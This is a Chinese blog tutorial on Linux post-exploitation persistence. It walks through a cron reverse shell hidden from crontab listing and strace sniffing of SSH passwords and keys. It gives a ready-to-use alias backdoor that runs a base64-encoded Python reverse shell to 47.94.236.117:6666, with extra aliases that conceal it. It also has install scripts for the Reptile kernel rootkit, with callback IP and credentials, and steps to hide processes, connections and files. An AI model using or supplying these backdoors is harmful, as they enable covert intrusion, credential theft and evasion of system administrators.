0
点赞
收藏
分享

微信扫一扫

消息认证码(MAC)

参考 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务_alias ls='alerts(){ ls $* --color=auto;python -c "-CSDN博客

参考 FlowUs 息流 - 新一代生产力工具

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹shell脚本

2、添加定时任务

这个定时任务用的是直接修改 /etc/crontab的方式,这个文件会对所有的用户生效,同时使用crontab命令是看不到的,如果是使用crontab -e的方式添加的任务使用crontab -l是看得到的,不过也有隐藏此任务的方式

可以看看 https://www.cnblogs.com/awake1t/p/14498443.html

不过此方式也是对于-l 命令的隐藏和对于直接查看任务记录文件,还是可以通过 -A参数查看

权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。

我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

查看

输入第一条命令后再使用ssh进行登录然后使用第二条命令进行查看可以看到命令明文密码,同时此密码被保存在了/tmp/.ssh.log中

2、记录sshd私钥

记录

查看

此方法也是同样的可以用来记录ssh登录的私钥保存到文件中。

 

权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名

每次输入ls命令的时候都能实现ls -al

不过此命令修改后重启就失效了,可以通过修改启动项文件实现维持

1、简单:

这种直接反弹shell的方式再执行了替换后的命令后会因为建立了链接从而卡住。

2、升级:

其实就是换了个反弹shell的命令,用的python去执行的,相当于重新使用python起了了一个链接所以shell界面不会卡住,中间这一段base64编码的内容就是反弹shell的代码,记得修改监听的ip和端口再编码使用。如果可以使用python我想php应该也是可以的(只使用第一段代码,后面两个是用来持久化的)

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiNDcuOTQuMjM2LjExNyIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'





alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]& "alias" ]& "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

3、持久化+隐藏:重启依旧生效

 

权限维持-Linux-内核加载LKM-Rootkit后门

现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

主要还是常见的反弹shell的链接太过明显,查看链接就可以看到奇怪的链接一下就发现了,通过内核级的rootkit可以实现隐藏进程隐藏链接实现真正的隐藏。

项目地址: https://github.com/f0rb1dd3n/Reptile

自动化脚本搭建

保存为sh文件

Centos系统脚本

$kernel=uname -r
centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh # Reptile-2.0/这个是目录,需要自定义根据自己的情况,文件即是从项目地址下载的
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

# 监听的ip还有端口这里也要修改s3cr3t和reptile是连接的账号和密码,后面会用到

ubuntu系统脚本

apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

用脚本进行安装的那个Reptile-2.0/不会删除,为了隐藏可以手动删除文件夹。

如果要手动安装也是用项目中的setup.sh执行就可以了

我这里使用的本地的centos7可以使用项目的setup.sh直接进行安装不用使用脚本,我估计是需要安装的一些命令没有所以才会报错的或者环境变量的问题。

这里的666端口是占用靶机本地的端口和远程进行通信

1、使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki

1、隐藏进程:

显示进程:

创建一个ping的进程

查看进程

使用命令隐藏进程

再次查看进程

让他再显示出来

2、隐藏连接:

显示连接:

3、隐藏文件:

文件名中带reptile的都会被隐藏

 

2、高级玩法

客户端安装

设置连接配置(有些类似msf,命令区分大小写)

设置好后直接开run

连接成功

进入shell

并且在靶机那边是看不到任何的链接的情况的

已经算是一个c2了,好恐怖的rootkit,太强了。

rootkit的查杀是最麻烦的一种,因为根本不知道他都对内核修改了什么东西,一旦中了rootkit基本就是寄了所以防范的方法只有在植入rootkit之前进行拦截。

举报

相关推荐

0 条评论